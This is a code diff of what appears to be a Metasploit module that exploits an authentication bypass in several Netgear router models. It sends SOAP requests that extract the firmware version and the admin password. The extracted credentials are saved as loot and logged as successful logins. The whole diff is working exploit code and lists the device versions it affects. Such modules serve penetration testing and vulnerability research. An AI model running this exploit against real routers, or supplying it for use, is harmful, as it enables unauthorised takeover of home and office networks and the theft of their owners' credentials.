@@ -17,19 +17,21 @@ def initialize
17
17
This module exploits an authentication bypass vulnerability in different
18
18
Netgear devices. With this vulnerability you are able to extract the password
19
19
for the remote management. The following devices are reported as vulnerable:
20
- NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88
21
- NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas)
22
- NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz)
23
- NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz)
24
- NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner)
25
- NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller)
26
- NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller)
27
- NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor)
28
- NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree)
20
+ NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
21
+ NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
22
+ NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
23
+ NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz),
24
+ NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner),
25
+ NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller),
26
+ NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller),
27
+ NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
28
+ NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
29
29
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
30
+ This module was tested on a Netgear WNDR3700v4 - V1.0.1.42
30
31
} ,
31
32
'References' =>
32
33
[
34
+ [ 'BID' , '72640' ] ,
33
35
[ 'URL' , 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
34
36
] ,
35
37
'Author' =>
@@ -42,11 +44,20 @@ def initialize
42
44
end
43
45
44
46
def run
45
- print_status ( "#{ rhost } : #{ rport } - Trying to access the configuration of the device" )
47
+ print_status ( "#{ peer } - Trying to access the configuration of the device" )
46
48
49
+ # extract device details
50
+ soapaction = "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"
51
+ print_status ( "Extract Firmware version." )
52
+ extract_data ( soapaction )
53
+
54
+ # extract credentials
47
55
soapaction = "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"
56
+ print_status ( "Extract credentials." )
57
+ extract_data ( soapaction )
58
+ end
48
59
49
- print_status ( "Sending exploit to victim." )
60
+ def extract_data ( soapaction )
50
61
begin
51
62
res = send_request_cgi ( {
52
63
'method' => 'POST' ,
@@ -56,41 +67,76 @@ def run
56
67
} ,
57
68
'data' => "=" ,
58
69
} )
70
+ #puts res
59
71
60
72
return if res . nil?
73
+ # unknown if other devices have other Server headers
61
74
return if ( res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\/ 2.6.15 uhttpd\/ 1.0.0 soap\/ 1.0/ )
62
75
return if ( res . code == 404 )
63
76
64
-
65
77
if res . body =~ /<NewPassword>(.*)<\/ NewPassword>/
66
78
print_good ( "#{ peer } - credentials successfully extracted" )
67
79
68
- #store all details as loot -> there is some usefull stuff in the response
69
- loot = store_loot ( "netgear_soap_accoutn.config" , "text/plain" , rhost , res . body )
70
- print_good ( "#{ peer } - Account details downloaded to: #{ loot } " )
71
-
72
80
res . body . each_line do |line |
73
81
if line =~ /<NewPassword>(.*)<\/ NewPassword>/
74
82
pass = $1
75
83
vprint_good ( "user: admin" )
76
84
vprint_good ( "pass: #{ pass } " )
77
85
78
- report_auth_info (
79
- :host => rhost ,
80
- :port => rport ,
81
- :sname => 'http' ,
82
- :user => 'admin' ,
83
- :pass => pass ,
84
- :active => true
85
- )
86
+ service_data = {
87
+ address : rhost ,
88
+ port : rport ,
89
+ service_name : 'http' ,
90
+ protocol : 'tcp' ,
91
+ workspace_id : myworkspace_id
92
+ }
93
+
94
+ credential_data = {
95
+ module_fullname : self . fullname ,
96
+ origin_type : :service ,
97
+ private_data : pass ,
98
+ private_type : :password ,
99
+ username : 'admin'
100
+ }
101
+
102
+ credential_data . merge! ( service_data )
103
+
104
+ credential_core = create_credential ( credential_data )
105
+
106
+ login_data = {
107
+ core : credential_core ,
108
+ last_attempted_at : DateTime . now ,
109
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL
110
+ }
111
+ login_data . merge! ( service_data )
112
+
113
+ create_credential_login ( login_data )
114
+
86
115
end
87
116
end
117
+
118
+ #store all details as loot
119
+ loot = store_loot ( "netgear_soap_account.config" , "text/plain" , rhost , res . body )
120
+ print_good ( "#{ peer } - Account details downloaded to: #{ loot } " )
121
+ end
122
+
123
+ if res . body =~ /<ModelName>(.*)<\/ ModelName>/
124
+ modelname = $1
125
+ vprint_good ( "Modelname: #{ modelname } " )
126
+ end
127
+
128
+ if res . body =~ /<Firmwareversion>(.*)<\/ Firmwareversion>/
129
+ firmwareversion = $1
130
+ vprint_good ( "Firmwareversion: #{ firmwareversion } " )
131
+
132
+ #store all details as loot
133
+ loot = store_loot ( "netgear_soap_device.config" , "text/plain" , rhost , res . body )
134
+ print_good ( "#{ peer } - Device details downloaded to: #{ loot } " )
88
135
end
136
+
89
137
rescue ::Rex ::ConnectionError
90
138
vprint_error ( "#{ peer } - Failed to connect to the web server" )
91
139
return
92
140
end
93
-
94
-
95
141
end
96
142
end
0 commit comments